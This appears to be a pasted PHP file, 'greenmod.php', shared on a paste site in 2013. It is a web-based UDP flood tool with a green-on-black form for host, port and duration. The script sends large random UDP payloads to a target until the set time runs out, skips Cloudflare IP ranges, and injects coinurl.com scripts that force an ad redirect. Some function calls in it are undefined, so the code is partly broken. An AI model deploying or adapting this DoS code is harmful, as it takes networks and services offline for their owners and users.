greenmod.php


SUBMITTED BY: Guest

DATE: Sept. 5, 2013, 6:33 p.m.

FORMAT: PHP

SIZE: 5.6 kB

HITS: 1162

  1. <html>
  2. <head>
  3. <script type="text/javascript" src="http://coinurl.com/script/jquery-latest.min.js"></script>
  4. <script type="text/javascript" src="http://coinurl.com/script/jquery.cookie.js"></script>
  5. <script type="text/javascript" src="http://coinurl.com/script/md5.js"></script>
  6. <script type="text/javascript">
  7. $(function() {
  8. var id = "7a00b2ffdca51452c17b85703d5402e1";
  9. var url = encodeURIComponent(window.location.href);
  10. var hash = CryptoJS.MD5(url);
  11. if($.cookie('coinurl_' + hash) == null) {
  12. var redirect = "http://coinurl.com/redirect.php?id=" + id + "&url=" + url;
  13. $.cookie('coinurl_' + hash, true, {expires: 1});
  14. top.location.assign(redirect);
  15. }
  16. });
  17. </script>
  18. DoS
  19. </head>
  20. <body>
  21. <center>
  22. <font color="00FF00">
  23. <pre>
  24. __ _ _ _
  25. / ____| | | | |
  26. (___ | |__ ___| | |
  27. \___ \| '_ \ / _ \ | |
  28. __ _) | | | | __/ | |
  29. __/|_| |_|\___|_|_|
  30. </pre>
  31. <STYLE>
  32. input{
  33. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  34. }
  35. button{
  36. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  37. }
  38. body {
  39. background-color: black;
  40. }
  41. </style>
  42. <?php
  43. function generateRandStr($length){
  44. $randstr = "";
  45. for($i=0; $i<$length; $i++){
  46. $randnum = mt_rand(0,61);
  47. if($randnum < 10){
  48. $randstr .= chr($randnum+48);
  49. }else if($randnum < 36){
  50. $randstr .= chr($randnum+55);
  51. }else{
  52. $randstr .= chr($randnum+61);
  53. }
  54. }
  55. return $randstr;
  56. }
  57. function checkNullStr($input)
  58. {
  59. if ($input === null)
  60. {
  61. die();
  62. }
  63. $output = $input;
  64. return $output;
  65. }
  66. function checkCloudFlareIP($ip) {
  67. $ranges = array(
  68. "204.93.240.0" => "204.93.240.255",
  69. "204.93.177.0" => "204.93.177.255",
  70. "199.27.128.0" => "199.27.135.255",
  71. "173.245.48.0" => "173.245.63.255",
  72. "103.21.244.0" => "103.21.244.255",
  73. "103.22.200.0" => "103.22.203.255",
  74. "103.31.4.0" => "103.31.4.255",
  75. "141.101.64.0" => "141.101.127.255",
  76. "108.162.192.0" => "108.162.255.255",
  77. "190.93.240.0" => "190.93.255.255",
  78. "188.114.96.0" => "188.114.96.255",
  79. "197.234.240.0" => "197.234.240.255",
  80. "198.41.128.0" => "198.41.128.255",
  81. "162.158.0.0" => "162.158.0.255");
  82. foreach ($ranges as $k => $v) {
  83. if (ip2long($k) <= ip2long($ip) && ip2long($ip) <= ip2long($v)) {
  84. die();
  85. }
  86. }
  87. return $ip;
  88. }
  89. function validateHost($domain) {
  90. $domain = str_ireplace("https://", "", $domain);
  91. $domain = str_ireplace("http://", "", $domain);
  92. $domain = str_ireplace("ftp://", "", $domain);
  93. $domain = str_ireplace("udp://", "", $domain);
  94. $domain = str_ireplace("tcp://", "", $domain);
  95. $domainEx = explode("/", $domain);
  96. $domainEx = explode(":", $domain);
  97. $domain = checkCloudFlare($domainEx[0]);
  98. if (filter_var($domain, FILTER_VALIDATE_IP)) {
  99. return $domain;
  100. } else {
  101. if (!filter_var($domain, FILTER_VALIDATE_IP)) {
  102. if (filter_var(gethostbyname($domain), FILTER_VALIDATE_IP)) {
  103. return $domain;
  104. } else {
  105. die();
  106. }
  107. } else {
  108. die();
  109. }
  110. }
  111. }
  112. //UDP
  113. if(isset($_GET['host'])&&isnumeric($_GET['time'])){
  114. $packets = 0;
  115. ignore_user_abort(TRUE);
  116. set_time_limit(0);
  117. $exec_time = checkNullStr((int)$_GET['time']);
  118. $time = time();
  119. //print "Started: ".time('d-m-y h:i:s')."<br>";
  120. $max_time = $time+$exec_time;
  121. $host = checkNullStr(validateHost($_GET['host']));
  122. for($i=0;$i<65535;$i++){
  123. $out .= generateRandStr(1);
  124. }
  125. $out = str_replace(" ","X",$out);
  126. while(1){
  127. $packets++;
  128. if(time() > $max_time){
  129. break;
  130. }
  131. if ($_GET['port'] == "rand")
  132. {
  133. $rand = rand(1,65535);
  134. }
  135. else
  136. {
  137. $rand = checkNullStr((int)$_GET['port']);
  138. }
  139. $fp = stream_socket_client('udp://'.$host.':'.$rand, $errno, $errstr, 5);
  140. stream_set_blocking($fp, 0);
  141. if($fp){
  142. fwrite($fp, $out);
  143. fclose($fp);
  144. }
  145. }
  146. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  147. echo '<br><br>
  148. <form action="'.$surl.'" method=GET>
  149. <input type="hidden" name="act" value="phptools">
  150. Host: <br><input type=text name=host><br>
  151. Port (rand=random): <br><input type=text name=port><br>
  152. Length (seconds): <br><input type=text name=time><br>
  153. <input type=submit value=Go></form>';
  154. }else{ echo '<br><b>UDP Flood</b><br>
  155. <form action=? method=GET>
  156. <input type="hidden" name="act" value="phptools">
  157. Host: <br><input type=text name=host><br>
  158. Port (rand=random): <br><input type=text name=port><br>
  159. Length (seconds): <br><input type=text name=time><br>
  160. <input type=submit value=Go></form>';
  161. }
  162. ?>
  163. </center>
  164. </body>
  165. </html>

comments powered by Disqus